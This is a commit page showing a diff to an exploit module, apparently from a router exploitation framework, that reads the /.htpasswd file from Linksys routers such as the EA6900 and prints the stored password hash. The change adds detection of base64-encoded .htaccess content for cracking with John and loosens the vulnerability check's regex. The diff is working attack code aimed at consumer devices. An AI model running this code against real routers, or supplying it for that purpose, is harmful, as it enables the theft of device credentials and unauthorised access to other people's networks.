Unverified Commit 5fcd6547 by Chris Stahly Committed by GitHub

Update Linksys password disclosure to support base64 encoded .htaccess files, as…

Update Linksys password disclosure to support base64 encoded .htaccess files, as used by EA6900 version 1.1.42.161129 (#744)
parent 59b6159a
...@@ -47,20 +47,25 @@ class Exploit(HTTPClient): ...@@ -47,20 +47,25 @@ class Exploit(HTTPClient):
print_error("Exploit failed - connection error") print_error("Exploit failed - connection error")
return return
print_info("Unix crypt hash: $id$salt$hashed") # See more at http://man7.org/linux/man-pages/man3/crypt.3.html if (response.text.find('$') != -1):
print_info("Likely Unix crypt hash: $id$salt$hashed") # See more at http://man7.org/linux/man-pages/man3/crypt.3.html
else:
print_info("Likely base64 encoded .htaccess") # John understands this natively
print_success("Hash found:", response.text) print_success("Hash found:", response.text)
else: else:
print_error("Exploit failed - target seems to be not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
@mute @mute
def check(self): def check(self):
response = self.http_request( response = self.http_request(
method="GET", method="GET",
path="/.htpasswd" path="/.htpasswd"
) )
if response is not None and response.status_code == 200: if response is not None and response.status_code == 200:
res = re.findall(r"^([a-zA-Z0-9]+:\$[0-9]\$)", response.text) res = re.findall(r"^([a-zA-Z0-9]+:\S+)", response.text)
if len(res): if len(res):
return True return True
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment